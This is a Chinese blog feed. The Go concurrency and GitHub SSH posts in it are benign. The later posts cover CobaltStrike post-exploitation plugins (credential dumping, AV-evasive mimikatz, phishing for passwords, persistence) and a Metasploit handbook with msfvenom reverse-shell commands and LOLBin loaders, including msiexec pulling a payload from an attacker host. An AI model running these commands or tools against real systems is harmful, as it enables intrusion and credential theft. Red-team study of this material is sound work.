离沫凌天๓ 2023-11-09T07:40:38.120Z https://www.lintstar.top/ 离沫凌天๓ Hexo 从实战理解 Golang 的多并发能力 https://www.lintstar.top/2021/09/4e16c1bd.html 2021-09-29T03:49:59.000Z 2023-11-09T07:40:38.120Z Go 多并发能力

image-20210731113614617

首先定义一个工作 数5只 🐑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package main

import (
"fmt"
"time"
)

func main() {
count(5, "🐑")
}

func count(n int, animal string) {
for i := 0; i < n; i++ {
fmt.Println(i+1, animal)
time.Sleep(time.Millisecond * 500)// 每隔半秒输出一次字符串
}
}

+++++++++++++
$ go run main.go
1 🐑
2 🐑
3 🐑
4 🐑
5 🐑

Millisecond（毫秒）, Microsecond（微秒）

把另一份工作交给这个程序：数5头 🐮

1
count(5, "🐮")

程序会按顺序执行：

1
2
3
4
5
6
7
8
9
10
11
$ go run main.go
1 🐑
2 🐑
3 🐑
4 🐑
5 🐑
1 🐮
2 🐮
3 🐮
4 🐮
5 🐮

Goroutine 协程

可以看做请求一个轻量的线程:

1
go count(5, "🐑")

使用 goroutine 来执行 count 会快很多：

image-20210731120619977

但是当我们再用 go 关键词创建一个 goroutine 来执行第二个 count：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package main

import (
"fmt"
"time"
)

func main() {
go count(5, "🐑")
go count(5, "🐮")
}

func count(n int, animal string) {
for i := 0; i < n; i++ {
fmt.Println(i+1, animal)
time.Sleep(time.Millisecond * 500)
}
}

然而什么也没有输出

image-20210731120814263

原因

  • 在一个用 golang 编写的程序中，当主函数运行完毕后，这个程序就结束了：不管你创建了多少个 goroutine，goroutine 里又创建了多少个 goroutine，他们都会被终止

image-20210731121614475

并不现实的解决办法

我们可以掐时间进行等待：

运行时间是一定的 数羊需要2.5秒，数牛需要1.5秒，所以我们可以在主函数结束前等3秒

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package main

import (
"fmt"
"time"
)

func main() {
go count(5, "🐑")
go count(3, "🐮")
time.Sleep(time.Second * 1)
}

func count(n int, animal string) {
for i := 0; i < n; i++ {
fmt.Println(i+1, animal)
time.Sleep(time.Microsecond * 500)
}
}

但是在绝大多数情况下我们并不知道我们写的代码需要多长时间来执行

因此 golang 为我们提供了一个简单的工具：WaitGroup

WaitGroup

WaitGroup 在Go 语言自带的 sync 包裹中，引用它可以用来追踪我们有多少任务还没完成

接下来有两个任务要执行,所以我们这里调用 waitgroup.Add(2)

1
2
var wg sync.WaitGroup
wg.Add(2)

每当我们执行完一个任务后，我们希望把 WaitGroup 这个计数器的值减一

所以我们创建一个匿名函数把 count 函数包裹起来，然后在 count 函数执行完后运行一下 wg.Done()

1
2
3
4
go func() {
count(5, "🐑")
wg.Done()
}()

匿名函数就是创建一个没有名字的函数然后立马调用它

好处：把上面两行作为一个整体丢给 groutine 让它运行

这个匿名函数要做的事情就是执行完一个任务更新一下计数器 说：“嘿，我这个任务完成啦”

现在我们就可以在 main 函数结束前用我们 waitgroup 的 .Wat 方法来让 main 函数原地听命

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package main

import (
"fmt"
"sync"
"time"
)

func main() {
var wg sync.WaitGroup
wg.Add(2)
go func() {
count(5, "🐑")
wg.Done()
}()
go func() {
count(3, "🐮")
wg.Done()
}()
wg.Wait()
}

func count(n int, animal string) {
for i := 0; i < n; i++ {
fmt.Println(i+1, animal)
time.Sleep(time.Millisecond * 500)
}
}

就这样通过 waitgroup我们保证了我们的两个 goroutine 都能运行完毕,而且不耽误额外的时间

但是现在这两个 goroutine 就是各干各的没有任何交流，像极了我们单排打游戏遇到的队友一样

如果我们现在想知道一共数了多少只动物，就需要两个数动物的 groutine 进行交流

使用普通的 Counter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package main

import (
"fmt"
"sync"
"time"
)

func main() {
var wg sync.WaitGroup
wg.Add(2)
go func() {
count(5, "🐑")
wg.Done()
}()
go func() {
count(3, "🐮")
wg.Done()
}()
wg.Wait()
fmt.Println(counter)
}

var counter int

func count(n int, animal string) {
for i := 0; i < n; i++ {
fmt.Println(i+1, animal)
counter = counter + 1//每数一只动物 counter+1
time.Sleep(time.Millisecond * 500)
}
}

这样在程序结束的最后会输出 8

这样会带来一个问题：

image-20210731125223166

同时操作一块内存会导致这样的错误：

image-20210731125100678

所以 Go 引入了 Communicating Sequential Processes - 通信顺序进程

image-20210731113434450

Channel

Channel 就是 Go 语言中不同 goroutine 交流的途径

特性

  • Channel 是双向的：你可以随时对一个 Channel 喊话，也可以随时收听一个 Channel
  • 往 Channel 里发送一条消息，和从 Channel 里收听一条消息，都会阻塞代码的运行

我们可以用这个阻塞的特性来同步我们的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package main

import (
"fmt"
"time"
)

func main() {
c := make(chan string)

go count(5, "🐑", c)
for {
message := <-c //从 channel 里收听一条消息
fmt.Println(message)
}
}

func count(n int, animal string, c chan string) {
for i := 0; i < n; i++ {
c <- animal //每数一只动物向 channel 里面喊话
time.Sleep(time.Millisecond * 500)
}
}

运行结果是这样的：

image-20210731130555623

错误原因

  • 主函数这边一直在等着 c 这个 Channel 的另一边传来消息,但 count 函数已经结束了
  • 也就是对我们这个程序来说,再也不会有新的数据传进 c 这个 Channel

判断是否继续从 Channel 接收消息

作为消息的发送人 我们需要负起关闭 Channel 的责任

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package main

import (
"fmt"
"time"
)

func main() {
c := make(chan string)

go count(5, "🐑", c)
for {
message, open := <-c //从 Channel 里收听一条消息
if !open {
break
} //接收方通过这个布尔值来判断我们是不是要继续从这个 Channel 接收消息
fmt.Println(message)
}
}

func count(n int, animal string, c chan string) {
for i := 0; i < n; i++ {
c <- animal //每数一只动物向 Channel 里面喊话
time.Sleep(time.Millisecond * 500)
}
close(c) //关闭 Channel
}

这次就不会报错啦

image-20210731131220469

使用 Range 可以更简便一些，如果 Channel 关闭了 for 循环就会直接退出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package main

import (
"fmt"
"time"
)

func main() {
c := make(chan string)

go count(5, "🐑", c)
for message := range c {
fmt.Println(message)
}
}

func count(n int, animal string, c chan string) {
for i := 0; i < n; i++ {
c <- animal //每数一只动物向 Channel 里面喊话
time.Sleep(time.Millisecond * 500)
}
close(c) //关闭 Channel
}

那如何从多个 Channel 里接收消息呢？

当我们把一个任务分成多个子任务的时候，可能每一个子任务都有一个单独的 Channel 专门和那一个子任务通讯

这些 Channel 随时都可能传来消息，我们怎么去管理他们呢?

Channel 阻塞特性导致 For 循环管理 Channel 存在的问题

我们先尝试用 for 循环每次从 c1接收一下 再从 c2接收一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package main
 
import (
"fmt"
"time"
)

func main() {
c1 := make(chan string)
c2 := make(chan string)

go func() {
for {
c1 <- "🐑"
time.Sleep(time.Millisecond * 500) //每间隔0.5秒往c1的 Channel 里发送消息
}
}()
go func() {
for {
c2 <- "🐮"
time.Sleep(time.Millisecond * 2000) //每间隔2秒往c2的 Channel 里发送消息
}
}()

for {
fmt.Println(<-c1)
fmt.Println(<-c2)
}
}

可以看到 🐑 和 🐮 是相间打印的

image-20210731160509462

可因为c1 和 c2的间隔不一样 应该是每打印四只 🐑 才打印一只 🐮

这里就是 Channel 的阻塞特性:

  • 往 Channel 里发送一条消息，和从 Channel 里收听一条消息，都会阻塞代码的运行

image-20210731161015866

这个阻塞原理是这样的：

  1. 当c1接收到消息后，距离 c2收到消息还要等一段时间，所以只能在这里等着，什么也做不了
  2. 而在这个等待的时间里第一个 goroutine 又一次要发送消息了
  3. 但是它也得在那里等着，因为没有人从 c1里去接收它的消息
  4. 所以我们这个程序就浪费了很多时间，在那里干等着

Select

Go 提供了 select 语句，里面可以有很多 case，它会看看这里面哪个不阻塞可以被直接运行的，他就会选择哪个来运行，且只会运行一个。

当有多个 Channel 发送消息的时候，我们就可以使用 select 语句来保证我们可以在第一时间从有新消息的 Channel 里收到数据，而不收不同 Channel 消息频率不同的影响：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package main

import (
"fmt"
"time"
)

func main() {
c1 := make(chan string)
c2 := make(chan string)

go func() {
for {
c1 <- "🐑"
time.Sleep(time.Millisecond * 500) //每间隔0.5秒往c1的 Channel 里发送消息
}
}()
go func() {
for {
c2 <- "🐮"
time.Sleep(time.Millisecond * 2000) //每间隔2秒往c2的 Channel 里发送消息
}
}()

for {
select {
case msg := <-c1:
fmt.Println(msg)
case msg := <-c2:
fmt.Println(msg)
}
}
}

这样就成功不阻塞地对多个 Channel 进行了管理：

image-20210731162548361

多线程并发对文件进行递归搜索

基础版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package main

import (
"fmt"
"io/ioutil"
"time"
)

var query = ".DS_Store"
var matches int //定义一个计数器

func main() {
start := time.Now() //记录当前时间
search("/Users/lintstar/Tools/")
fmt.Println(matches, "matches")
fmt.Println(time.Since(start))
}

func search(path string) {
files, err := ioutil.ReadDir(path) //首先看一下当前路径有什么文件或者文件夹
if err == nil {                    //没有错误的话进行循环
for _, file := range files {
name := file.Name()
if name == query {
matches++
}
if file.IsDir() { //如果是文件夹的话进行递归搜索
search(path + name + "/")
}
}
}
}

运行结果

1
2
3
$ go run main.go
405 matches
12.765213877s

搜索并输出当前 .DS_Store 文件路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package main

import (
"fmt"
"io/ioutil"
"time"
)

var query = ".DS_Store"
var matches int //定义一个计数器

func main() {
start := time.Now() //记录当前时间
search("/Users/lintstar/Xstark/")
fmt.Println(matches, "matches")
fmt.Println(time.Since(start))
}

func search(path string) {
files, err := ioutil.ReadDir(path) //首先看一下当前路径有什么文件或者文件夹
if err == nil {                    //没有错误的话进行循环
for _, file := range files {
name := file.Name()
if name == query {
matches++
fmt.Println(path + name)
}
if file.IsDir() { //如果是文件夹的话进行递归搜索
search(path + name + "/")
}
}
}
}

运行结果：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ go run main.go
/Users/lintstar/Xstark/.DS_Store
/Users/lintstar/Xstark/.idea/.DS_Store
/Users/lintstar/Xstark/XstarkCore/.DS_Store
/Users/lintstar/Xstark/XstarkCore/Scan/.DS_Store
/Users/lintstar/Xstark/XstarkCore/Scan/sub/.DS_Store
/Users/lintstar/Xstark/XstarkCore/Scan/sub/result/.DS_Store
/Users/lintstar/Xstark/XstarkCore/Scan/vul/.DS_Store
/Users/lintstar/Xstark/XstarkCore/Scan/vul/xray/.DS_Store
/Users/lintstar/Xstark/XstarkCore/Tools/.DS_Store
/Users/lintstar/Xstark/static/.DS_Store
/Users/lintstar/Xstark/static/images/.DS_Store
/Users/lintstar/Xstark/static/js/.DS_Store
/Users/lintstar/Xstark/static/js/tools/.DS_Store
/Users/lintstar/Xstark/templates/.DS_Store
/Users/lintstar/Xstark/templates/tools/.DS_Store
15 matches
32.558533ms

Goroutine 版

我们对搜索顺序并没有要求 只要不漏搜和 结果没有误差就 OK

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package main

import (
"fmt"
"io/ioutil"
"time"
)

var query = ".DS_Store"
var matches int //定义一个计数器

var workerCount = 0     //定义👷🏻 数量
var maxWorkerCount = 32 //定义最大 👷🏻 数量

var searchRequest = make(chan string) //指派任务
var workerDone = make(chan bool)      //任务完成
var foundMatch = make(chan bool)      //传输找到搜索结果的消息

func main() {
start := time.Now() //记录当前时间
workerCount = 1
go search("/Users/lintstar/Tools/", true)
waitForWorkers()
fmt.Println(matches, "matches")
fmt.Println(time.Since(start))
}

func waitForWorkers() {
for {
select {
case path := <-searchRequest:
workerCount++
go search(path, true)
case <-workerDone:
workerCount--
if workerCount == 0 {
return
}
case <-foundMatch:
matches++
}
}
}

func search(path string, master bool) { //在 goroutine 运行时，结束告诉主函数运行完毕
files, err := ioutil.ReadDir(path) //首先看一下当前路径有什么文件或者文件夹
if err == nil {                    //没有错误的话进行循环
for _, file := range files {
name := file.Name()
if name == query {
foundMatch <- true //找到了就向这个 Channel 中喊话：我找到了！
fmt.Println(path + name)
}
if file.IsDir() { //如果是文件夹的话进行递归搜索
if workerCount < maxWorkerCount { //如果有空闲工人就请工头指派
searchRequest <- path + name + "/"
} else {
search(path+name+"/", false)
}
}
}
if master {
workerDone <- true //如果是运行在 goroutine 里面的运行结束喊话：我干完了
}
}
}

406个匹配大约 1.8秒 是基础版12秒的大概 1/6

image-20210731191124516

]]> <h1 id="Go-多并发能力"><a href="#Go-多并发能力" class="headerlink" title="Go 多并发能力"></a>Go 多并发能力</h1><p><img src= "/img/loading.gif" data-lazy-src="ht 关于 Github 不再支持命令行通过密码操作仓库的解决办法 https://www.lintstar.top/2021/08/4b8ee7df.html 2021-08-28T03:49:59.000Z 2023-11-09T07:40:38.119Z 前言

2021年 8 月 13 日之后，Github 移除了对密码身份验证的支持

如果仍然使用账户密码来操作 Github 上的仓库，就会收到如下警告：

image-20210816092243010

正如消息所说，Github 希望我们开始使用个人访问令牌 (PAT) 而不是密码身份验证。如果没有提示输入用户名和密码，说明我们的凭据可能已缓存在计算机上。 可以在密钥链中更新我们的凭据，用令牌替换之前的旧密码。

hexo -d 报错

今天在更新博客时发现无法提交到 Github 显示连接 SSL 连接失败：

image-20210816092118343

Git 命令操作仓库

找了一个项目进行测试

image-20210816093254672

其实就是将连接方式改为 SSH

1
2
3
4
5
6
7
git remote -v

# 删除旧的连接方式
git remote rm origin

# 切换 SSH 连接
git remote add origin git@github.com:lintstar/Valine-Admin.git

Hexo 连接 Github

可是博客的目录并不是一个仓库

image-20210816101925644

网上查了一圈因为问题太新没有找到什么解决办法

特意回到去年的文章翻了一下Hexo 和 Github 连接的配置详情：

本地博客文件上传至 Github

发现 博客根目录 hexo 的配置文件 _config.yml 是这样的：

image-20210816101646384

因此我们只需要把使用密码连接的 HTTPS 换成使用 SSH 密钥连接

image-20210816101757750

就可以正常提交 Github 了：

image-20210816101823678

Reference

]]> <h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>2021年 8 月 13 日之后，Github 移除了对密码身份验证的支持</p> <p>如果仍然使用账户密码来操作 Github 上的仓库 CS-ServerChan 主机上线微信通知 https://www.lintstar.top/2021/07/e65fcded.html 2021-07-28T03:49:59.000Z 2023-11-09T07:40:38.119Z CS-ServerChan

通过 CobaltStike 服务端 / 客户端 挂载脚本，将上线主机信息通过 Server 酱通知到微信

项目地址：https://github.com/lintstar/CS-ServerChan/releases

如果想使用免费且支持微信模板消息推送的方式可以移步：https://github.com/lintstar/CS-PushPlus

前言

使用旧的 CS Server酱通知脚本时看到了 ServerChan 关于旧版服务 API 下线的通知：

Screenshot_20210728_110540_com.tencent.mm

那就更新下 sendkey 吧

配置相关信息

脚本有两个地方需要替换：

ServerChan.py

https://sct.ftqq.com/sendkey 复制自己的 KEY 替换到下面的地方

image-20210728111654791

这里的通知模板支持 Markdown 格式可以随意替换

image-20210728111816041

这里加 Token随机数的原因是Server 酱一分钟内无法发送重复信息

ServerChan.cna

在客户端或者服务端后台挂载时，需要改成 ServerChan.py Python 脚本所在的绝对路径（从盘符开始）

image-20210728111409394

通过 CobaltStike 服务端 / 客户端 挂载脚本，将上线主机信息通过 Server 酱通知到微信

服务端后台挂载

把 cna 脚本添加到本地客户端后，如果beacon上线了，这个提醒的请求是从客户端发出的。

如果网络有波动，断开了到 teamserver 的连接，就收不到通知了。

解决方法是使用 agscript 在服务器端运行cna文件，和挂载 CobaltStrike 一样，把 cna 脚本也挂载到后台：

1
2
3
4
[root@Catherine CS4.3]# screen
[root@Catherine CS4.3]# ./agscript xx.xxx.xx.xxx [port] Catherine [passwd] CS-ServerChan/ServerChan.cna
Initial Beacon Checkin: 2122252342 PID: 3488
Sending server: python3 /root/Tools/CS4.3/CS-SeverChan/ServerChan.py --computernam LINTSTAR82CF --internalip 10.xx.xx.15 --username lintstar

挂载后查看进程：

1
2
3
4
5
6
7
[root@Catherine ~]# ps -a
    PID TTY          TIME CMD
1045504 pts/0    00:00:00 teamserver
1045507 pts/0    00:00:12 java
1049085 pts/4    00:00:00 bash
1049086 pts/4    00:00:08 java
1055932 pts/7    00:00:00 ps

Agscript 用法

这里 agscript 的用法为：

1
./agscript [host] [port] [user] [pass] </path/to/file.cna>
  • [host] # 服务器的 ip 地址。
  • [port] # cs 的端口号，启动 cs 时有显示。
  • [user] # 后台挂载脚本时连接到 teamserver 的用户名。
  • [pass] # 启动服务端 cs 时设置的密码。
  • [path] # cna 文件的路径。

效果

企业微信服务号通知

Screenshot_20210728_103739_com.tencent.mm

通知详情

Screenshot_20210728_103809_com.tencent.mm

企业微信应用消息配置说明

来源：https://sct.ftqq.com/forward

优点：

  1. 一次配置，持续使用
  2. 配置好以后，只需要微信就能收消息，不再需要安装企业微信客户端

PS：消息接口无需认证即可使用，个人用微信就可以注册

0x01 注册企业

用电脑打开企业微信官网，注册一个企业

0x02 创建应用

注册成功后，点「管理企业」进入管理界面，选择「应用管理」 → 「自建」 → 「创建应用」

img

应用名称填入「Server酱」，应用logo到这里下载，可见范围选择公司名。

img

创建完成后进入应用详情页，可以得到应用ID( agentid )①，应用Secret( secret )②。

注意：secret推送到手机端时，只能在企业微信客户端中查看。

img

0x03 获取企业ID

进入「我的企业」页面，拉到最下边，可以看到企业ID③，复制并填到上方。

推送UID直接填 @all ，推送给公司全员。

0x04 推送消息到微信

进入「我的企业」 → 「微信插件」，拉到下边扫描二维码，关注以后即可收到推送的消息。

img

PS：如果出现接口请求正常，企业微信接受消息正常，个人微信无法收到消息的情况：

  1. 进入「我的企业」 → 「微信插件」，拉到最下方，勾选 “允许成员在微信插件中接收和回复聊天消息”

    img

  2. 在企业微信客户端 「我」 → 「设置」 → 「新消息通知」中关闭 “仅在企业微信中接受消息” 限制条件

    img

]]> <h1 id="CS-ServerChan"><a href="#CS-ServerChan" class="headerlink" title="CS-ServerChan"></a>CS-ServerChan</h1><p><strong>通过 CobaltStike 服务端 LSTAR - CobaltStrike 后渗透插件 https://www.lintstar.top/2021/07/d1676e54.html 2021-07-07T05:49:59.000Z 2023-11-09T07:40:38.140Z LSTAR - Aggressor

本着简化 CS 右键和方便自己集成的目的，对 Reference 里的项目进行了缝合以及二次开 (抄) 发 (袭)

并添加了虚拟机/AV 检测、主机相关密码抓取、 Cxk 限时免杀的 mimikatz 和 adduser 等功能

项目链接：https://github.com/lintstar/LSTAR

项目树较为简单直观 且方便 DIY：

image-20210812113750414

CobaltStrike 主机上线微信通知插件：

如果想使用免费且支持微信模板消息推送的方式可以移步：https://github.com/lintstar/CS-PushPlus

如果有订阅 ServerChan 的企业微信推送通道可以移步：https://github.com/lintstar/CS-ServerChan

2021.08.12更新

InfoCollect

新增 CheckVM 检测目标是否为虚拟机

20210808_2213

AVSearch

由于之前的脚本有一定概率失败：

image-20210808222325403

更新了新的检测杀软方式

image-20210808221945724

AuthPromote

修复了之前提权模块的 BUG

image-20210811105401723

AuthMaintain

EasyPersistent：https://github.com/yanghaoi/CobaltStrike_CNA/tree/main/EasyCNA

新增一个用于 Windows 系统上权限维持的 Cobalt Strike CNA 脚本

使用反射 DLL 模块通过 API 对系统服务、计划任务等常见权限维持方法进行可视化操作，非 常 好 用。（作者原话）

image-20210812170907609

说明文档：https://github.com/yanghaoi/CobaltStrike_CNA/blob/main/EasyCNA/README.md

image-20210812170946202

PassCapture

Mimikatz 相关

image-20210811104834675

Lazagne

实战测试比较好用的检索主机密码工具 （上传运行后会自动删除 exe 文件）

image-20210811102145547

浏览器密码

image-20210811105159479

推荐使用 HackBrowserData 几乎涵盖所有类型的浏览器：

image-20210812124004797

image-20210811105105056

FakeTheScreen

优化了针对 Windows10和 Windows7不同的钓鱼密码窃取

image-20210811095234252

由于伪造页面效果一言难尽，只建议在准备鱼死网破时使用：

image-20210811094621414

AboutMe

添加了 AboutMe 帮助菜单

image-20210811105716461

方便从 CS 跳转 凌星阁

image-20210811110156391

Reference

梼杌 - taowu-cobalt-strike

Z1-AggressorScripts

九世自开 csplugin

EasyPersistent Windows 权限维持

InfoCollect

添加了 Netview 和 Powerview 功能

image-20210707112534352

AvSearch

通过 Wmic 进行进程查询

image-20210707114047098

image-20210706105117525

IntrScan

包含各类内网大保健

image-20210707112718120

自定义指令运行

image-20210706110153336

fscan 默认上传至 C:\\Users\\Public\\

image-20210706110110475

控制台返回

image-20210706110008931

删除 fscan 及结果文本

image-20210706110809988

IntrAgent

比较好用的内网穿透工具 且均无配置文件落地 降低被溯源风险

image-20210707112750687

AuthPromote

只缝合了梼杌的提权 EXP 后续待完善

image-20210707112813847

AuthMaintain

在梼杌的基础上 添加了白银票据和黄金票据

image-20210707112856320

PassCapture

各类密码抓取

image-20210707113614496

LateMovement

包含 基于135端口的sharpwmi 等横向移动套件

image-20210707113642982

TraceClean

缝合九世的痕迹清理 待完善

image-20210707113717904

BypassCxk

cxk 限时免杀版 adduser 和 mimikatz

image-20210707113737475

HavingFun

搞站的日子里图一乐

image-20210707113749756

]]> <h1 id="LSTAR-Aggressor"><a href="#LSTAR-Aggressor" class="headerlink" title="LSTAR - Aggressor"></a>LSTAR - Aggressor</h1><p><strong>本着简化 C MSF 作战手册及联动 CobaltStrike https://www.lintstar.top/2021/06/cc6d559a.html 2021-06-12T15:49:59.000Z 2023-11-09T07:40:38.119Z MSF 作战手册及联动 CobaltStrike

一直一来由于比较喜欢 CS 的多人协同、插件和图形化界面，MSF 的研究相对较少，而 MSF 的模块以及漏洞利用方面的支持是优于CS 的，某些内网探测模块一直都很好用，而且控制的好，动静也并不会非常大。因此今天来探究下 Metasploit 后渗透框架以及和 CobaltStrike 的联动。

MSF 模块划分

image-20210704115641312

  • 2146 个渗透攻击模块 (Exploits) - 选择并植入载荷获取权限
  • 1142 个辅助模块 (Auxiliary) - 扫描主机系统，寻找可用漏洞
  • 365 个后渗透攻击模块 (Post) - 用于内网渗透的各种操作
  • 592 个攻击载荷 (Payloads) - 渗透攻击成功后植入代码控制目标系统会话连接
  • 45 个编码器模块 (Encoders) - 选择编码技术，确保攻击载荷不会出现 “坏字符”
  • 10 个空指令模块 (Nops) - 在执行 shellcode 前加入一些空指令，避免攻击载荷在执行过程中出现随机地址或返回地址错误
  • 7 个免杀模块 (Evasion) - 对攻击载荷进行 “免杀”

Msfconsole 参数摘要

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
reload_all#从目录重载所有模块
back#后退命令，移出当前上下文，用于模块切换
info#目标和模块详细信息
check#检查目标是否受某个漏洞影响

background  #切到后台
sessions#会话管理
sessions -l#列出所有会话
sessions -K#终止所有会话
sessions -i id#进入某个会话
sessions -v#以详细模式列出会话
sessions -u#在许多平台上将shell升级到meterpreter会话

show options#显示可选选项
 auxiliary#显示所有辅助模块
 exploits#显示所有漏洞利用模块
 payloads#显示所有有效载荷
 targets#显示所有可用目标
 advanced#显示更多高级选项
 encoders#显示可用编码器列表
 
set proxies sock5:127.0.0.1:8000 #设置代理

辅助模块（Auxiliary）

端口扫描

1
2
3
4
5
6
use auxiliary/scanner/portmap/portmap_amp
use auxiliary/scanner/portscan/ftpbounce
use auxiliary/scanner/portscan/tcp
use auxiliary/scanner/portscan/ack
use auxiliary/scanner/portscan/syn
use auxiliary/scanner/portscan/xmas

服务扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
auxiliary/scanner/ssh/ssh_login#SSH爆破
auxiliary/scanner/vnc/vnc_none_auth#VNC空口令扫描
auxiliary/scanner/telnet/telnet_login  #Telnet爆破
auxiliary/scanner/smb/smb_version#SMB系统版本扫描
auxiliary/scanner/smb/smb_enumusers#SMB枚举
auxiliary/scanner/smb/smb_login#SMB弱口令登录
auxiliary/admin/smb/psexec_command#登录SMB且执行命令

auxiliary/scanner/redis/redis_login#Redis爆破
auxiliary/scanner/mssql/mssql_ping#MSSQL主机信息扫描
auxiliary/admin/mssql/mssql_enum#MSSQL枚举
auxiliary/scanner/mysql/mysql_login#MySQL弱口令扫描
auxiliary/admin/mysql/mysql_enum#MySQL枚举

Msfenvom 生成被控端

使用说明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Options:

-p, --payload <payload> 使用指定的payload
--payload-options 列出该payload参数
-l, --list [type] 列出所有的payloads
-n, --nopsled <length> 为payload指定一个 nopsled 长度
-f, --format <format> 指定payload生成格式
--help-formats 查看所有支持格式
-e, --encoder <encoder> 使用编码器
-a, --arch <arch> 指定payload构架
--platform <platform> 指定payload平台
--help-platforms 显示支持的平台
-s, --space <length> 设定payload攻击荷载的最大长度
--encoder-space <length> The maximum size of the encoded payload

(defaults to the -s value)
-b, --bad-chars <list> 指定bad-chars 如: '\x00\xff'
-i, --iterations <count> 指定编码次数
-c, --add-code <path> 指定个win32 shellcode 文件
-x, --template <path> 指定一个 executable 文件作为模板
-k, --keep payload自动分离并注入到新的进程
-o, --out <path> 存放生成的payload
-v, --var-name <name> 指定自定义变量
--smallest Generate the smallest possible payload
-h, --help 显示帮助文件

生成 shellcode

Windows

1
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c > shellcode.c

Linux

1
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c > shellcode.c

Mac

1
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c > shellcode.c

生成 可执行文件

Windows

1
2
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp
LHOST=攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe

Linux

1
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f elf -o payload.elf

Mac

1
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f macho -o payload.macho

Powershell

1
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1

https://micro8.gitbook.io/micro8/contents-1/1-10/10msfvenom-chang-yong-sheng-cheng-payload-ming-ling

设置监听上线

Attacker：192.168.31.39

1
2
3
4
5
6
7
8
9
10
11
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.31.39
lhost => 192.168.31.39
msf6 exploit(multi/handler) > set lport 6666
lport => 6666
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.31.39:6666

上线

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.39 LPORT=6666 -f exe > l.exe

image-20210704122557684

1
2
meterpreter > getuid
Server username: WIN-R67KRMDJ8D3\Pow

Linux

1
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.31.39 lport=6666 -f elf > go.elf

image-20210704160536688

基于白名单上线

基于白名单 Rundll32 上线

Rundll32 可以以命令行的方式调用动态链接程序库，执行 DLL 文件中的内部函数

生成 dll 用于加载上线

1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.31.39 lport=6666 -f dll > go.dll

上传 go.dll 到目标服务器，加载 rundll32.exe 运行

rundll32.exe目录：C:\Windows\SysWOW64\rundll32.exe

1
rundll32 shell32.dll,Control_RunDLL c:\Users\Pow\Desktop\go.dll

Bypass 执行命令

开启远程桌面

1
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject(\"WScript.Shell\");w.run(\"mstsc\");window.close()");

基于白名单 odbcconf.exe上线

ODBCCONF.exe 是一种命令行工具，可用于配置 ODBC 驱动程序和数据源的名称。

执行命令

1
odbcconf.exe /a {regsvr C:\Users\Pow\Desktop\6666.dll}

基于 PsExec 上线

https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec

1
msfvenom -a x86 --platform windows -p  windows/meterpreter/reverse_tcp LHOST=192.168.31.39 LPORT=6666 -f msi > go.msi

使用 python 服务器模拟远程 VPS

1
PsExec.exe -d -s msiexec.exe /q /i http://192.168.31.39:8000/go.msi

缺点：第一次运行会弹窗

基于白名单 Forfiles 远程加载 Payload 上线

Forfiles 为 Windows 默认安装的文件操作搜索工具之一，可根据日期，后缀名，修改日期为条件。常与批处理配合使用。

1
forfiles /p c:\windows\system32 /m cmd.exe /c  "msiexec.exe /q /i http://192.168.31.39:8000/go.msi"

缺点：需要让攻击者手动点击安装，还需要过UAC

基于白名单 Pcalua 上线

Windows进程兼容性助理(Program Compatibility Assistant)的一个组件。

1
Pcalua -m -a l.exe

基于白名单Cmstp.exe 上线

